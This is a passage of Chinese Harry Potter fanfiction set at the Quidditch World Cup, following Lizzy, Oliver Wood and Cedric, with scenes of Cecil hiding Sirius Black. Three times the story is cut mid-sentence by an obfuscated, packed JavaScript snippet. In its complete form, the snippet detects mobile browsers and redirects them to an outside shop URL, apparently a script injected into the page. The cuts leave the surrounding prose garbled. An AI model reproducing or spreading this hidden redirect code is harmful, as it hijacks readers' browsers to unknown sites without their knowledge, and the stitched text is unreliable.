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前几场大胜让米歇尔的心情变得很不错,她甚至同意了莉兹可以跟着伍德一家去世界杯体育馆附近的营地玩几天,只嘱咐女儿不要给人家添麻烦,还给了双倍的零花钱。要不是莉兹确认眼前的这个踩着高跟皮靴的女人是自己的妈妈,而且她的精神状态完全正常,她真的会以为有人给她施了夺魂咒。 在淘汰赛的第一场英格兰队对阵特兰西瓦尼亚队的比赛开始前,伍德把球票给塞德里克一家寄去了,不过却收到了回信说他得先去格拉斯哥参加表姐的婚礼,等到决赛那天才能去看比赛,所以他把球票转送给张家,得了一份顺水人情。 “以后谁再说他是霍格沃茨的完美先生,我就把这封信贴出来给大家看看。”莉兹从伍德手里抢过了信,又拿过椅子上挂着的那件刚买的英格兰队的斗篷,是她特地买来想晚上穿着去看比赛的,但她刚披在肩上就发现尺寸不太对,为什么拖到了地面。 看她裹在自己斗篷里的样子,伍德突然觉得很是有趣,他走上前掀起斗篷下摆蹲下来钻进去,先顺势将斗篷扣好,然后两手将她圈住,他有些幼稚地说着:“啊哈,抓住你了。” 莉兹转过身来抬头看他,心想着以前的伍德有这么黏人吗。 没几秒钟,他就被她盯得有些紧张了,手足无措地尴尬笑了笑,松开手时她又靠近了半步,在他唇上轻啄了一下,接着走到另一侧拿起她的斗篷,一边潇洒披上,一边回头说:“走吧,该去看比赛了。” 看来赢下了每场比赛的木头先生在场下还是会输给奥利凡德小姐。 42. 梅林啊真是荒唐 非常糟糕,整场比赛简直是糟糕透顶,尤其是在看到英格兰队在小组赛的表现之后,所有人都不相信最后竟然会是如此令人唏嘘的结果——综合排名在欧洲前列的东道主在淘汰赛第一场便输给了排名在两位数开外的魁地奇队伍,而且是大比分惨败。 球迷们的反应非常激烈,甚至在比赛哨声刚刚响起时看台上就爆发出了对选手和主教练米歇尔的斥责声,那种不满就好像他们亲眼看到了世界杯冠军奖杯被英格兰队自己砸碎在地上一样,就好像在场上的六个人是自己放弃了胜利一样,而先前在营地围着篝火唱着天佑英格兰庆贺的人也是他们,一场输赢成了一场生死,决定了是英雄还是脚底泥。 在家属席坐着的莉兹清晰地听到了从身后传来的一句“米歇尔滚出伦敦”,身旁的伍德比她反应更快地转过身去看向了说话的男人,高声提醒他注意言辞。男人则是一眼就认出了这位落选了国家队的普德米尔联队的年轻守门员,干脆是连着俱乐部一起数落。 只要是和魁地奇有关的事情都会让奥利弗·伍德的情绪变得很不稳定,好在伍德先生是个稳重的性子,直接一把扯住儿子的斗篷,而莉兹也在另一边紧抓着他的手,她什么话都没说,只是狠狠地用力在他手心捏了两下,像是在给她自己一个发泄的出口似的。 她本以为这样的经历对她来说并不算少见,她至少不会像伍德那样容易被激怒,可事实是莉兹在这一刻望向场边的妈妈,身子不自觉开始颤抖,她看到失望、震惊与茫然同时出现在那张不苟言笑的脸上,妈妈的眼眶泛红,伸出手和每一个降落在地的队员们轻轻拥抱,一边拍着他们的后背一边说着没关系,那是她从未见过的模样。哪怕是在八年前,身为队长的米歇尔·奥利凡德带领英格兰队冲到最后却无缘决赛的时候,也不曾露出过这样的表情,她那时飞到看台边笑着将自己的女儿和丈夫拥抱在怀里,就这样结束了自己职业生涯最后一场比赛。 “梅林啊这真是荒唐。”最是能言善辩的人不知道应该说些什么,莉兹哑然失笑,她先是冷哼了一声,又在不满的声响变得更加震耳欲聋的时候大声笑了出来,几万名英格兰球迷在散场过程中仍然在声讨一个为了球队这两年几乎没有休过假的主教练,就因为他们失望了。 很快地,这边看台上就只剩下了莉兹和伍德两个人,伍德先生早早移形换影回到了帐篷的位置,他要提前把火升起来煮点热牛奶。 “我以为这时候听到的就算不是‘你们已经很棒了’,至少也应该是‘你们辛苦了’。”她就这样站在原地,一只手牵着伍德,另一只手紧紧攥着斗篷,碎碎念一般地说着,“我知道米歇尔在战术上偷懒了,参加上届世界杯的选手状态不如从前,国家队阵容青黄不接,仍然在依赖上届世界杯的强击球手组织进攻,而新加入的年轻人不吃这一套,只想自己带球不想打配合,队伍就是一盘散沙怎么打……” “你要去休息室见见米歇尔吗,我陪……”大约是表面上冷静的莉兹将心里那种不安定的情绪传达给了伍德,他已经逐渐从比赛输了的难过中走了出来,于是想要尝试用自己贫瘠的语言安慰她,但她似乎听不进去任何声音,只是用大段大段分析比赛的话打断了他。 “特兰西瓦尼亚把英格兰模式彻底研究透了,从预选赛开始每一场,他们知道英格兰后防前场总是无法顺利连线,一开始就做好准备逐个击破,所以我们才会被捆绑住手脚,哪怕妈妈叫了暂停把利亚姆换下去上老将,可是一上场就错过了金色飞贼,除了运气,我想不出其他答案了,这就是运气吧,米歇尔总是缺运气。”她停顿下来突然深呼吸了一下,然后抬头看向伍德,“没错是运气,太倒霉了!” 平时无论发生什么,莉兹都能整理出一套逻辑清晰让人无法反驳的解释,伍德听着这一声“倒霉”又一次意识到,每当他被她超脱常人的聪明外表蒙骗过去的时候,莉兹和他们所有人都一样,是个会哭会笑会闹的普通人。与她的距离越是靠近就越能感受到她身上最真实的部分,尽管大多数时候他还是会被耍得团团转,但她在他面前多流露出一点情绪,他就会更愉快一些。 就像这会儿,莉兹在用无意义的分析分散注意力,想让自己不要沉浸在为英格兰队淘汰而难过、为米歇尔的处境而担忧的状态之中,他便拉着她慢慢走回营地。伍德想自己应该是真的太喜欢她了,不然他绝对做不到在听到分析中意见不同的部分时忍住不开口,比如说,就不应该换利亚姆,应该把露西娅换上来,让她用速度干扰对手,比继续打对抗有效。 半夜才结束的首场淘汰赛,在隔天大早上发售的魁地奇速报占了整整一页,头版上刊登了一篇长文报道——三狮军团何去何从,最强米歇尔辉煌不再。文章开头还貌似中立地将米歇尔在英格兰队的十几年魁地奇选手经历做了简要总结,列举了她多年的贡献,但也不忘提及她十年前在欧洲杯的重大失误,以及前年刚接手国家队时引起的各种风波。更可笑的是,还大谈特谈米歇尔对权力的迷恋,致力于将世界杯作为竞选欧魁协主席的跳板。 不到七点就已经醒来的莉兹毫无睡意,她就着帐篷里的炉火的光看完了整份魁地奇速报,头版的那篇报道的作者不出意料还是那位塔尔,若是昨天的球迷只是当场宣泄一下怒火,那其实不算什么,而这种通篇上下充斥着对米歇尔的厌恶之情的文章,读完之后和吃了一只死老鼠一样没区别。只不过能够坚持二十来年专心针对一个人,要是没点个人恩怨的话,莉兹是不太相信的。 可米歇尔那个脾气,得罪别人才是常事,这么一想似乎也就没那么令人在意了。 也许是因为莉兹已经完全恢复了平时的模样,而伍德正好又被塔尔的文章刺激到了,他将昨日没能说出的话一股脑儿倒了出来。见自己的分析被推翻的莉兹自然也来劲了,两个人一边在营地散步,一边争论着英格兰队输掉的原因,和在学校时没有任何不同,除了少了一位总是在微笑着旁观的塞德里克·迪戈里。想到这里伍德觉得有些可惜,毕竟四年一度的世界杯,要是能够三个人一起看自己国家队参加淘汰赛的话就好了。当然更好的一定是塞德里克和莉兹两个人来看他在魁地奇世界杯赛场的比赛,他希望这会是四年以后的夏天发生的事情。 至于被转赠了球票的秋·张,莉兹在排队领门钥匙的世界杯赛委会的帐篷前碰到了她,秋的眼睛红肿着,想必是昨夜哭得很是伤心,善于照顾他人情绪的她却先是安慰了莉兹,她们拉着手走到边上又说了几句悄悄话,然后告诉她说她爸爸托人买到了两张决赛的票,过几天会再到这里来的。 伍德不知女生们要说些什么,只能是乖乖在原地等莉兹,而她们说话时秋还时不时看了他几眼,所以当莉兹回来时他不自觉就想开口问怎么了,可是又觉得这样会显得自己很小肚鸡肠,下一秒他更觉得这样的自己特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来他们两个人便坐在一起把信件一封封塞回原先的信封里,顺便调转一下上面的收件人与寄件人,刚巧提着一袋巧克力松饼回来的伍德先生不忍心打扰相处和谐的儿子与莉兹,又静悄悄地后退了几步,走到隔壁的帐篷门前看人家下巫师棋。 寄信来的大多都是魁地奇校队的人,只不过基本上没什么同学给伍德寄,连格兰芬多队里的几个都只寄给了莉兹,唯一奇怪的是韦斯莱双胞胎给他寄了一封,署名是兄弟俩的名字缩写,而莉兹那里又有一封署名是乔治的信,出于礼貌,伍德并没有看乔治写了什么,只是帮莉兹把标着乔治的那张塞回了信封里。 很显然乔治单独的来信也没有让莉兹觉得意外,这件事似乎稀松平常,她没有任何戒备心地吃着信封里塞的一小包太妃糖,还很自然地给了伍德两颗。 后来的第二场、第三场,威尔士开场三十分钟便输给了乌干达,苏格兰与卢森堡激战一夜最终仍是吃了败仗,他们的失利让英格兰球迷的内心逐渐平衡,连带着对自己队伍的态度都变得好了起来,而面对表现稳定挺进决赛的爱尔兰队,大家也是给足了期待,有的人还把自己蓝色的斗篷改成了绿色。 塞德里克如约在决赛日来到了营地,他和迪戈里先生是跟韦斯莱一家一起过来的,门钥匙落地时,伍德很是热情地走上去跟这位好朋友打招呼,莉兹就站在后面跟塞德里克招了招手。 看着眼前热闹的场景,莉兹想起已经带着球队离开了英格兰队驻地的米歇尔,她只给自己留了一张卡片,上面写着“好好享受你的暑假”,而自己也没有再给她写回信。 43. 这是什么鬼夏天 看在梅林的份上,这可能是塞西尔度过的最为艰难的一个夏天,同部门的库尔特从世界杯四分之一决赛起便休了年假还预支了一周病假,她真不知道这家伙是怎么想的,竟然能在请假申请中写上他有预感自己下周六会染上龙痘所以必须要住院治疗。而阿莫斯不知用了什么手段,竟从魔法体育运动司的卢多·巴格曼那里弄来了两张免费的决赛球票,心情变得尤其愉悦,看都没看那张申请便直接盖上了章。 实际上伯莎·乔金斯在先前也给塞西尔送了一些球票,说是巴格曼先生给部门每个人都分了不少,只不过她从霍格沃茨毕业之后就没有再接触过魁地奇了,实在提不起兴趣来,她唯一的了解途径还是来自于自己的侄女莉兹,她和她口中那种木头男孩看起来都是魁地奇的狂热爱好者,总是三句话不离比赛。 之后的几天她都没在魔法部遇见乔金斯,她们平时经常午后在茶水间碰头聊两句,结果连着一个星期过去了,乔金斯还是不见踪影。大家都在私底下说她又因为神智不清失踪了,这是从部长办公室流传出来的,世界杯举办期间的请假申请太多了,他们每天都会一起收好送到福吉那里签字,可是却没有一张是乔金斯的。直到巴格曼那天亲自拿了张假条过来,解释说乔金斯小姐正在阿尔巴尼亚度假,忘记了提交申请,这些流言才慢慢平息了。 塞西尔本想写封信给乔金斯,毕竟她以前可是什么都会告诉自己的,怎么会一声不吭就溜出去度假,但塞西尔也正被一堆琐事缠身,牵扯之下就把这事情抛在了脑后。库尔特提前休假,导致出国去罗马尼亚与驯龙师洽谈项目的活又落在了她头上,这关乎着一项机密的大型国际活动,她目前看过的所有文件都被施过了保密咒语,不能向任何不知情的人透露半个字。因此尽管她非常激动地想把它说给莉兹听,也没办法在信纸上写任何东西。 除此之外,她还惹上了更大的麻烦,暂时没有度假的自由,或者说连松口气的自由都没有。至于这个大麻烦,托那位人人称赞的老实人莱姆斯·卢平的福,他竟然在她和邓布利多提议应该由莱姆斯作为西里斯的唯一联络人时说了拒绝,理由是他们从前渊源太深,魔法部很容易顺藤摸瓜找过来。真是令人头疼,怎么能说出这么完美无缺的理由,弄得塞西尔想找几个借口耍赖都不行。 她在隐藏街租了间小阁楼,稍微做了点非法的改造,一开始是想用来给受过惊吓的巴克比克做过渡期,然后找机会把它带回家乡放生,没想到现在却成了西里斯·布莱克的暂居地,或者说藏身所。 很显然能够凭借一口气在阿兹卡班熬上这么多年的人没有那么快习惯普通的生活,最初的几天西里斯始终用戒备的眼神看着塞西尔,仿佛她和那些把他关在牢里的摄魂怪没有任何区别,她猜想这可能是因为她总是会在离开前用咒语牢牢锁住房间的锁,这个动作很明显仍然能够刺激到西里斯。 大约一周过去他才愿意正常地和塞西尔交流,至少能在她带来食物的时候说上一句谢谢,以及他开始主动向她打听自己教子的事情,比如在学校的情况,还有他现在的住址之类的,塞西尔基本是知无不言,她也看得出这位布莱克先生将自己的信念都托付在了那位波特身上,最终还是心软了。 “我每周会过来一次,可以帮你寄信给哈利。”她把干粮放在房间的桌上,“除我之外没有人知道这里,如果在其他时候需要和你联系我会用自己的守护神,所以你能安心在这里住到一切平息吗?” 西里斯点了点头,在她转身准备离开的时候说:“我今天才突然意识到,我们以前是不是见过面?” “记性真不错,布莱克先生,”塞西尔笑了一声,“是的,我们见过的,在你弟弟的葬礼上。” 说罢门被关上,西里斯在回忆中尽力寻找着她的身影,惊奇地发现当年那个留着一头乱糟糟的齐腰自然卷长发,在台阶上哭到晕倒的傻姑娘,竟然就是眼前这个顶着一头翠绿色、一双皮靴踩得楼板咚咚作响的古怪女人。 在门口站了好一会儿,确认他不会强行闯出来,塞西尔才走下楼,头两天西里斯甚至会抓住关门的间隙从里面窜出来,差点没把她的心脏都吓得跳出来。她隔天回去就找卢平诉苦说:“我只知道怎么给神奇动物疗伤,我可从来没对付过有创伤应激综合症的成年人。” 最近没了工作只能到处打点零工的卢平正在破釜酒吧的后厨当帮厨,他端着餐盘在后门的阶梯上坐下,把盘子里有点烤焦的蓝莓派分给她,然后随口说:“我以为在你眼里他和流浪狗没差别。” “这么说你的朋友合适吗?”她很不客气地咬了一口。 卢平思索了两秒,然后回道:“很合适。” 塞西尔也沉默了一会儿,像是在脑海里想象了什么,接着撇着嘴狠狠摇头:“不行,我做不到,作为一条流浪狗来说,这位布莱克的脸过于俊俏了一些。”旁边的人立刻用鄙夷的眼神表达着“请问您在说什么”的意思,塞西尔一点没在意反而继续说:“你呢,就没什么要我带给他的话么?” “那就祝愿他快点恢复自由身,”卢平顿了一下,“然后收留我。” “要不我收留你啊……”她开口调侃了半句又立刻收住,“不行,这下我们就真变成朋友了。” “所以我们现在不是朋友对吧?”卢平哑然失笑。 “你说是就是吧,”塞西尔耸肩说道,“穷光蛋你要不要好好拾掇拾掇找个有钱女人养你。” “条件不足,后天乏力,无能为力。”男人面无表情,像是说了冷笑话似的。 塞西尔一愣,接着哈哈笑出声,相处时间久了之后,她发现之前认为莱姆斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487831|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·卢平是个无聊的家伙是她的误解,开得起玩笑且不让每句话落在地上才是他的本性。这一口气足足笑了两分钟,卢平此时已经吃完蓝莓派准备回后厨了,站起身时塞西尔又叫住他:“相信我,我一定尽快编写完那本《狼人就业指南》,不会让你饿死。” “天呐,那我真是太期待了。”卢平阴阳怪气地回道,然后走进了门,而仍在原地坐着不动的塞西尔保持着笑嘻嘻的表情,过了一会儿又沉下脸来。自从那本日记本被销毁起,关于那个人的消息也同步消失了,连那些在传播的黑魔法器具都逐渐没了踪影,她很清楚卢平没有去找一份稳定的工作的原因是他在到处搜寻逃脱的彼得,从他们这段时间的对话来看,很显然卢平没有任何收获,而她如今也被西里斯困在了巴黎与伦敦之间,不知道下一步要做什么,也不知道下一步要走到哪里去,坏的预感会应验吗,还是说就只是不存在的想象,未知真是可怕。 可惜这些烦恼她无法讲给谁听,她身边也没有这样的人,就算是能在信里和莉兹提两句,也都是以轻飘飘的语调,不过这对她来说也足够了。实在不行的话,她还能去阿拉斯托·穆迪那里讨点酒来解决这些坏情绪呢,绝佳的麦芽威士忌是安眠利器。这晚她写完了给莉兹的回信,喝完了一整杯酒,心情平静地在床上倒下,不到半分钟就陷入了梦乡。 亲爱的伊莉莎 原来我太过忙碌无法及时回复你的信件,这个夏天对我来说太艰难了,我真希望能分裂出好几个我,这样也许才能忙得过来。 看来你和那位奥利弗·伍德的进展很顺利,我没见过这个男孩子,但是既然你很喜欢他,我就相信他是个不错的人,真是没想到我们可爱的小姑娘也坠入了爱河,这会是你十几岁时最美好的阶段,享受它。 至于你问我第一次喜欢的人,那可能和你想像得不太一样,我上一年级时给人马写过一封情书,因为我觉得他们实在是太迷人了,很遗憾的是那封信却被一个斯莱特林捡走了,但很幸运的是那位同学并没有嘲笑我,否则我可能会变成赫奇帕奇的一个笑话。 接下来我可能还是会时不时无法收到你的信,但是下学期也许你会经常在霍格沃茨见到我,到时候我们可以多多聊天。 以及,米歇尔和罗里没有做错,我希望你不要因为我的事情记恨父母,我们每个人都只能看到自己能看到的那个部分,也只会相信自己能相信的那个部分,不能因为不被认可与信任而去怨恨。纯粹的对与错和纯粹的黑与白都不存在,我想你和我一样,只是在坚持自己的信念,那不是其他人赋予的,是不能被评判的。 也许选择的时刻终究会到来,伊莉莎,我们不要预支焦虑,因为等到那时候,你的心会帮你做出回答。 希望你一切都好。 稍微有点困的塞西尔 44. 跌宕起伏的世界杯最后一日 因为先前已经看了很多场比赛,伍德和莉兹很清楚早点到达球场占一个视野好的位置比买再贵的全景望远镜要管用多了,塞德里克自然是跟随着两位专家,他们说什么时候出发就什么时候出发,说怎么走就怎么走。他当然是希望爸爸也一起过来的,不过阿莫斯在营地碰上了老朋友,几个中年男人已经聊到十分忘我的境地,压根不在意儿子的意见。至于说了要一起来看决赛的秋似乎也更想陪伴家人,因此塞德里克干脆把票转手给了球场外的小贩,自己则是沾了两位好友的光。 当他们三人提前了近一个小时到达中央看台时,大约有三分之一的座位早早被占满,这会儿保加利亚队和爱尔兰队的队员们在场地上做着最后的热身与带球练习,赛委会用了干扰视线的咒语,看起来像是半空中有一层光罩,这样观众们不容易看不清下面的人,便不会干扰到选手。 好在莉兹从米歇尔那里拿到的内部票座位离记者媒体区非常近,像伍德这样的高个子,只要稍稍探个头就能越过那层光看得一清二楚。但是对莉兹来说就不太轻松了,见她又用手扶着栏杆掂脚伸长脖子在看球场内,伍德的手臂很自然环过她的腰间,护着她防止她会摔下来。 塞德里克倒是已经猜起了晚上的首发名单:“所以基恩这意思是马莱特和康诺利要一起上吗?” “半决赛的伤应该没有影响,”伍德打量着马莱特头上的绷带,“不换阵容是正确选择。” “不过康诺利的速度很明显跟不上,今年夏窗要卖的第一个人就是他吧。”莉兹说着停顿了一下,“但是卖了他的话能买谁……米歇尔最近也没有感兴趣的人啊。” “保加利亚的迪米特洛夫。”伍德二话没说就报出答案。 “真是奇怪,普德米尔买不起克鲁姆也不能买个年纪比康诺利还大的人呀,”莉兹说着又改口,“虽然他那张给火弩箭的代言照拍得还算帅气。” “他是不是保加利亚队内身价第二?”塞德里克看向身旁两个人。 “过了今天能不能再涨可不清楚。”莉兹这话一出,伍德下意识手上用了点力气,勒得她喊了一声他的名字,“奥利弗。” “这是林齐最后一届世界杯了,爱尔兰队不可能输的。”伍德似乎完全没意识到自己的动作,自顾自说着话。 无奈地推开他的手,莉兹坐回了位置上,两手环抱语气轻飘飘地说:“保加利亚风头这么盛,尤其是迪米特洛夫那一呼百应的样子,‘不可能’这个词对爱尔兰来说是不是有点太重了?” 伍德跟着一起坐下,听莉兹连续说了好几次迪米特洛夫,他稍有些不满地回道:“保加利亚有三个人都有两张黄牌了,他们能不能不缺一个人打到最后一分钟都不知道,更何况……何况迪米特洛夫太浮夸了。” “喔唷,木头先生也有讨厌别人的一天?”莉兹笑了起来。 塞德里克背过身靠在栏杆上饶有兴致看着奥利弗·伍德避开眼神的举动,那一脸别扭的模样很明显非常在意刚刚莉兹对那位型男选手的夸赞,不过短短两个月没有接触,他可不知道自己认识的那位木头朋友竟是变成了这副模样。 第422届魁地奇世界杯决赛迎接了有史以来最多的观众,新建的体育馆看台几乎所有区域都被开放了,可以容纳整整十万人的场地座无虚席,保加利亚的红色与爱尔兰的绿色将看台分成东西两半,球迷们用力挥舞着国旗,还冲着对方高唱着自己的国歌与祝歌,在球形场地里爆发出震耳欲聋的声响,第一次看这种现场比赛的塞德里克两手捂住耳朵,皱着眉回过头发现莉兹和伍德熟门熟路找出了特制耳塞戴上,俩人完全不受影响地研究着阵型。 “我差点忘了,这是给你准备的,”莉兹从挎包里拿出了另一副,看塞德里克没有立刻伸手接过,她便主动塞进了他的斗篷口袋,“你会需要它的。” 过了一会儿她瞥了一眼身旁的人又补上一句:“上一场保加利亚的吉祥物可让奥利弗吃了大亏。” 伍德一时间露出了窘迫的神色,他红着脸焦急地解释道:“就算是梅林见到那么多媚娃也会如此的,我发誓这是保加利亚队的战术!” “那我倒想见识见识了,”塞德里克一边点着头附和伍德一边笑着望向倒计时的画面然后低声念着,“比赛就快开始了。” 接下来的时间里,塞德里克觉得自己好像经历了一段非凡的冒险,这与他过去看过的每一场比赛都不同,因为戴着耳塞的缘故,他能清楚听见自己的心脏在扑通扑通地跳着,整个人仿佛都沉浸到了赛场中一样。每当爱尔兰队持球时,他和伍德两人都会攥紧拳头屏住呼吸;每当保加利亚的进攻被扑出时,他们又会同时起身呐喊;每当比分变化的瞬间,他的心情都会跟着一起起伏。 莉兹倒是没有两位男生这样激动,但是她也会在看到意外的进球时突然起身,然后用那种毫无波澜的语速评判着刚刚场上的选手。那副模样简直和平时站在教练席的米歇尔没有任何区别,连时不时闷声冷笑的表情都完全一样。有好几次伍德在看比赛时回头看向莉兹,都不自觉被她的样子惊出一身汗,他总觉得下一秒米歇尔教练就要开始指着场内所有人破口大骂了。 赛事进行得一度十分焦灼,哪怕是连犯规都是你来我往的谁也不让着谁,尤其是裁判再次被媚娃干扰的时候,这很明显点燃了爱尔兰球迷们的怒火,场边的爱尔兰小矮妖们也都按捺不住了,它们冲过去与场内的媚娃厮打在一起,而媚娃们也不再是开场时那副一头金发、皮肤白皙到宛如透明的魅惑外表,摇身一变成长着尖嘴的可怖鸟怪,发出凄厉的尖叫声,几乎要刺穿所有人的耳朵。负责安保的巫师们试图在不影响空中比赛的情况下将吉祥物们拉开,可惜没有任何作用。 莉兹的注意力已经完全被地面的混战吸引走了,她甚至觉得这有些滑稽,因为有个别着赛委会徽章的巫师的帽子被媚娃喷出的火焰点燃了,而一个苏格兰小矮妖竟摘下了那顶帽子又扔向了媚娃。多么机灵的妖精,难怪能变出那么多假金币呢。 “金色飞贼!”塞德里克指着前方大喊了一声,此时莉兹总算是放弃了观看地面战争转向了空中,不过她并没有加入爱尔兰队球迷的助威活动,反而是有些可惜地看着对林齐紧追不舍的克鲁姆,他的鼻头好像歪在了一边,满脸都是血,看来刚刚奎格利打出的那记游走球对他的伤害实在不小。 “我要是林齐就把飞贼让给他,”莉兹哼了一声,“保加利亚的教练在做什么,忘记比分差了吗?” “但是其他人也可以在这时候继续进球,”伍德毫不犹豫地接话,继而用手狠狠拍着栏杆叫道,“林齐再冲快一点!” “保加利亚队都忘了阵型了,我看能进球的是爱尔兰队吧,那林齐就更不用再冒险……”莉兹大概是铁了心又要和伍德杠上了。 “魁地奇就是不到最后一秒都不可能有定论,”伍德打断了莉兹的话,回身与她对视,“我相信再精确的计算也会失误。” 塞德里克连忙伸手在两个人之间晃了晃,提醒他们去看爱尔兰主教练的手势,他哈哈一笑说:“真不愧是执教二十年的老教练,他都想到了。” 莉兹和伍德一起看过去,老威廉姆斯对着林齐在胸前用食指划了一个圈接着指向上方,下一秒林齐的再次加快了速度,几乎要突破他那把光轮系列的极速,就这样向着地面俯冲,莉兹听见身后传来惊恐的尖叫声,很多人都在担心林齐会一头栽在场地上,只有他们前排的这三个人同时露出安心的微笑,仿佛爱尔兰队已经胜券在握。 “太糟糕了,林齐又受伤了!” “但是等等……克鲁姆!是克鲁姆抓到了飞贼!” “保加利亚队加160分,最终的比分是160比170……天呐爱尔兰队获得了胜利!” “第422届魁地奇世界杯冠军是爱尔兰!” 只可惜这场决赛几乎是近几届世界杯里最短的,魔法体育司前期签下的那些现场广告只播出了不到一半,巴格曼一想到要合同里那些附加条件,就像有十个发狂的媚娃在他耳边尖声嚎叫,太阳穴是针刺一般的疼痛。不仅如此,他没想到米歇尔·奥利凡德今日竟会如约来到顶层包厢观赛,英格兰队淘汰之后巴格曼是第一个在英魁协会议上提议换教练的,他只是觉得米歇尔同时执教国家队与俱乐部一定很吃重,放弃一边并不是什么大事。还好她来也匆匆去也匆匆,没等到颁奖礼开始就已经提前离开了包厢,全程一脸冷漠地沉默着,真不知道究竟是为了什么而来的。 莉兹当然不知道米歇尔今天会来现场,毕竟连普德米尔对迪米特洛夫感兴趣都是伍德赛前说漏嘴的,她跟塞德里克还有伍德三个人一直倚着栏杆在中央看台站着并不着急离开,因为尽管球场设置了很多个出口,但是十万人可不是什么小数目,他们不愿在这时候被卷入拥挤的人潮中。 “所以你是什么时候猜到爱尔兰队的计划的?”塞德里克好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就快走到路尽头时,莉兹突然停住了脚步,伍德感觉到自己的手被她紧紧抓住,她那双银色的眼睛里有恐惧一点点弥漫开。可还没等伍德开口询问,他就看到阿莫斯·迪戈里,塞德里克的爸爸拨开人群向他们这里大步跑来,整个人慌张不已。 “你们到底跑到哪里去了,这都什么时候了!”阿莫斯怒吼道。 “抱歉爸爸,看台的人太多了,所以我们稍微等了一会儿才离开。”塞德里克也很少见到阿莫斯如此生气的样子,只好向前走了一步主动解释。 “算了没事就好,我现在必须要回去执勤了,”阿莫斯知道自己看起来太着急了,他拉过儿子稍稍放缓了语气对伍德说,“奥利弗,你是年纪最大的,你的爸爸在帐篷门口等着,记得哪里都不要去了,直接把他们两人带回去,然后千万不要再出来。” “我可以问问发生什么了吗?”伍德问。 阿莫斯犹豫了两秒,压低了声音对三个孩子说:“有一户麻瓜受到了袭击,魔法部从现在开始将对营地彻底戒严。”见他们一脸惊讶,他又催促着拍了拍伍德的手臂,“走,快回去!” 塞德里克稍有些担忧地回头看了一眼爸爸,然后和伍德同时紧握着魔杖将莉兹护在中间,像无头苍蝇一般逃窜的群众还有穿着深色兜帽斗篷的巫师们让营地变得一团乱,他们三个人艰难地穿过人群一步步走回去,伍德先生看见孩子们来了就立刻将帐篷掀起来,说他准备了热可可和三明治,让他们吃完好好休息,外面的事情交给大人们来解决。 可是莉兹看起来像是被吓坏了似的,瞪圆了一双眼睛久久说不出一句话,她僵硬地拉开椅子在火炉旁坐下,深呼吸了好几次。 “你还好吗?”伍德握着她的手轻声问。 “你看到什么了吗?”塞德里克以为她可能是半路上注意到了他们没发现的事情。 从未见过莉兹这个模样,两个男生都有些不知所措,只能耐心等待她愿意开口的时候。直到莉兹把杯子的热可可喝下了一半,她才看向了门外说道:“我听见了很奇怪的声音,魔杖的声音。” “那是什么样的声音?”塞德里克追问。 她没有直接回答而是伸手抽出了伍德的魔杖,在耳边敲了敲,然后回说:“我能听出这里面有奥利弗的声音。” “所以你刚刚听见了……”伍德跟着说道。 “是的,我听见了可怕的、带着杀意的冷酷的声音,而且很多很多,就在那外面。”莉兹放下杯子走过去掀开了门帘,在那个这个瞬间刺眼而可怖的绿色光芒将大地罩住,伍德与塞德里克也探头看向空中,只见夜幕上印着一个巨大的骷髅头,有一条大蟒蛇正从它嘴巴里爬出来。 站在门口值夜的伍德先生吓得差点被石子绊倒,他踉跄着将三个孩子再次推回去,自己也跟着一起躲了进来。这个标志似乎解答了莉兹刚刚那阵对未知的恐惧,她恢复到了以往的平静中,倒是帐篷里的其他人开始害怕了。尤其是伍德先生的状态最是糟糕,真正经历过那个年代的人对那绿色的光芒再熟悉不过了。 黑魔标记,那是神秘人的符号。 45. 蹊跷实在是蹊跷 西里斯·布莱克每天都在数着日子,只是长时间在阿兹卡班的生活让他的大脑疲于运作,每次要思考到什么的时候就会出现阻碍,比如他又忘记了昨天数到了第几天,完全不知道自己已经来到隐藏街多久了。狭小阁楼房间里充斥着一股酸臭的味道,他觉得自己打着结的头发里可能有跳蚤,用手勉强抓了几下,但是毫无作用,最终西里斯决定变回狗的模样,两只爪子齐上阵才算是舒服了一些。 听到门锁发出咔哒一声,外头的人小心翼翼推开房门走进来,那时候西里斯正好在地毯上打了两个滚,一人一狗就这样四目相对,面面相觑,谁也不急着先出声。很显然,房间里难忍的气味先刺激到了进门的人,她皱着眉头一挥魔杖将窗户打开,接着瞥了一眼卫生间里那破旧的水龙头,又打量一下趴在地上这条大黑狗,西里斯还十分配合地“汪汪”叫了两声。 “这是不可能的,”女人摇头,“你可不是一条真正的狗,休想。” 黑狗歪头又是一声“汪”,看似纯良的双眼被打了卷的长毛挡住,腿上和尾巴上的毛也都成了一绺一绺的,尽管巫师有很多个方便快捷的清洁咒语,但眼前的情况似乎用一两个咒语解决不了,况且根本没有人会用清洁咒语去洗一条狗,作为一个神奇动物保护相关工作者,塞西尔·奥利凡德做不出这样的事情。她只能用咒语让他的毛看起来变得柔顺一些,却做不到让那堆恼人的跳蚤消失,这些小东西可能从阿兹卡班就跟着这家伙了,彻彻底底成了他身上的钉子户。 “我的意思是,你就不能变回……我是说变回西里斯的样子,然后自己去洗个澡吗?”塞西尔弯下腰来看着黑狗说。 结果他只是原地转了个圈,用尾巴拍打着那几乎放不出的水的水管子,然后趴在了她的脚边,不满地呜咽着。 “上个月你在这里大吼大叫恨不得变成狗咬死我,今天你又成了什么……家养犬吗?”塞西尔摇着头后退两步,“怎么样,你是总算发现我是个好人了还是觉得让一个陌生女人给你洗澡这件事会让你觉得高兴?” 